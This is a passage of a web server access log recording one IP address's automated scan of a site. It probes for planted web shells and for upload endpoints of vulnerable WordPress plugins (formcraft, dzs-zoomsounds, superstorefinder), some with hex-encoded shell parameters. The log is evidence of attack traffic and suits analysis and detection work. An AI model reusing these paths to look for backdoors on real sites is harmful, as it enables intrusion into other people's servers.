AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:25 -0400] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:49 -0400] "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/SSF_WP_UPLOADS_PATH/csv/import/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:50 -0400] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:52 -0400] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:54 -0400] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:55 -0400] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:58 -0400] "GET /wp-content/plugins/ioptimization/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:58:59 -0400] "GET /wp-content/plugins/ioptimization/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:02 -0400] "GET /wp-content/plugins/ioptimization/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:12 -0400] "GET /wp-content/plugins/ioptimization/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:23 -0400] "GET /wp-content/plugins/apikey/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:27 -0400] "GET /wp-content/plugins/apikey/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:36 -0400] "GET /wp-content/plugins/apikey/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:40 -0400] "GET /wp-content/plugins/apikey/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:44 -0400] "GET /wp-content/plugins/ioptimizations/king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:14:59:53 -0400] "GET /wp-content/plugins/ioptimizations/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:05 -0400] "GET /wp-content/plugins/ioptimizations/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:07 -0400] "GET /wp-content/plugins/ioptimizations/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:09 -0400] "GET /abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:10 -0400] "GET /abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:13 -0400] "GET /wp-content/plugins/dzs-zoomsounds/king HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:16 -0400] "GET /wp-content/plugins/dzs-zoomsounds/xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:17 -0400] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:19 -0400] "GET /wp-content/plugins/dzs-zoomsounds/abruzi.php4 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:21 -0400] "GET /xo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:24 -0400] "GET /king.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:26 -0400] "GET /a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:28 -0400] "GET /wp-content/uploads/typehub/custom/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:31 -0400] "GET /wp-content/uploads/kaswara/fonts_icon/a57bze8931/.__a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:35 -0400] "GET /wp-content/plugins/wp-engine-module/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:37 -0400] "GET /wp-content/plugins/ioptimizations/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:39 -0400] "GET /wp-content/plugins/ioptimization/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:40 -0400] "GET /wp-content/plugins/gatewayapi/inc/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:42 -0400] "GET /wp-content/plugins/formcraft/file-upload/server/php/files/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:46 -0400] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:49 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:51 -0400] "GET /wp-content/plugins/apikey/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:00:53 -0400] "GET /wp-content/plugins/dzs-zoomsounds/a57bze8931.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:00 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:03 -0400] "GET /wp-admin/x.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:09 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:11 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:14 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/i8HQoK6nR.php?action=768776e296b6f286f26796e2a72607e2972647 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:16 -0400] "GET /ALFA_DATA/alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:29 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:33 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:38 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:39 -0400] "GET /database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:41 -0400] "GET /cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:42 -0400] "GET /wp-admin/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:43 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:44 -0400] "GET /alfacgiapi/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:46 -0400] "GET /wp-content/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:47 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:47 -0400] "GET /wp-includes/database.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:49 -0400] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:50 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:52 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:54 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:01:58 -0400] "GET /wp-content/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:02 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:05 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:14 -0400] "GET /wp-includes/style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:15 -0400] "GET /jamal.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:16 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:17 -0400] "GET /simple.php?p=2f686f6d652f7074317464616379696b39722f7075626c69635f68746d6c&tod=6370726573 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:19 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:21 -0400] "GET /wp-includes/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:23 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:25 -0400] "GET /wp-content/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:27 -0400] "GET /wp-admin/wp-22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:40 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:41 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:43 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:45 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:45 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:46 -0400] "GET /.seo.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:47 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:49 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:49 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:50 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:51 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:51 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:53 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:54 -0400] "GET /revision.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:02:57 -0400] "GET /max.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:06 -0400] "GET /wso-x569.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:03:09 -0400] "GET /fm1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile 